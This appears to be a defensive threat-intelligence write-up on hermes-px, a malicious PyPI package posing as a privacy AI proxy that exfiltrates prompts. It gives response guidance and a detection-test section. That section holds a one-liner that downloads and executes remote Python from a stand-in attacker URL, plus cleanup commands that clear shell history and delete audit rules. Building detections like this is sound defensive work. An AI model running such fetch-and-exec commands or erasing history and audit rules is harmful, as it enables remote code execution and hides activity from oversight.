hermes-px: A Fake Privacy Proxy Exfiltrating Prompts and Tampering with Claude Code

Summary

JFrog Security Research identified a malicious PyPI package, hermes-px, posing as a privacy-first AI inference proxy. Instead of protecting users, it routes traffic through Tor to an unauthorized university-hosted AI endpoint, swaps or rewrites system messages, and exfiltrates prompts and model responses to a Supabase backend. The package also embeds a stolen, rebranded Anthropic Claude system prompt, reinforcing the deception. hermes-px is distributed via public PyPI and is installable via standard pip workflows, making it easy to pull into developer environments.

Investigation

Researchers reviewed the source and found three encryption layers used to conceal sensitive strings, alongside a hard-coded Supabase API key and a Telemetry component that transmits data directly over the public internet. The decrypted upstream endpoint resolves to a private university API guarded by Azure WAF, indicating abuse of infrastructure not intended for public proxying. The project documentation further nudges users to fetch and execute additional code from a GitHub URL, extending risk beyond the package itself. To blend into normal development patterns, hermes-px imitates the OpenAI Python SDK interface, reducing suspicion during integration.

Mitigation

Remove hermes-px from all environments and lock dependency sources to prevent reinstallation. Rotate any credentials that may have been exposed in prompts, configuration, or logs, and block access to the Supabase exfiltration domain and other identified malicious URLs. If Tor was installed specifically to support this tool, remove it and review related network controls. Assume prompts may contain sensitive data, and review any captured content for secrets, tokens, or regulated information.

Response

Hunt for hermes-px installations using package inventories and developer workstation baselines, then alert on outbound connections to supabase.co and the identified university API endpoint. Quarantine affected hosts, preserve relevant artifacts (package files, terminal history, dependency lockfiles), and scope exposure by determining which prompts and responses were transmitted. Notify impacted users and, if applicable, the affected institution(s), and update detections to flag SDK look-alikes, Tor-mediated proxy behavior, and suspicious telemetry modules in Python packages.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An attacker has obtained a malicious Python payload hosted on a public GitHub repository. To avoid writing files to disk (reducing forensic footprint), they use a single‑line Python command that:

  1. Calls urllib.request.urlopen() to download the raw script content from GitHub.
  2. Reads the response and passes the bytes to exec() for immediate execution.
  3. Executes the command on a compromised Linux host where the attacker already has a low‑privilege shell.

  This exact pattern (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") matches the detection rule’s string criteria.

• Regression Test Script:

  #!/bin/bash
  #
  # Simulate malicious Python execution that should trigger the Sigma rule.
  #
  MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
  python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

  Save this script as trigger_detection.sh, make it executable (chmod +x trigger_detection.sh), and run it on the target host.

• Cleanup Commands:

  # No persistent artifacts are created, but ensure the terminal is clean.
  history -c                     # Clear command history for the current session
  sudo auditctl -D               # (Optional) Remove all runtime audit rules if you added them only for testing
  # If you added a persistent rule in /etc/audit/rules.d/, consider removing it:
  # sudo rm /etc/audit/rules.d/process_creation.rules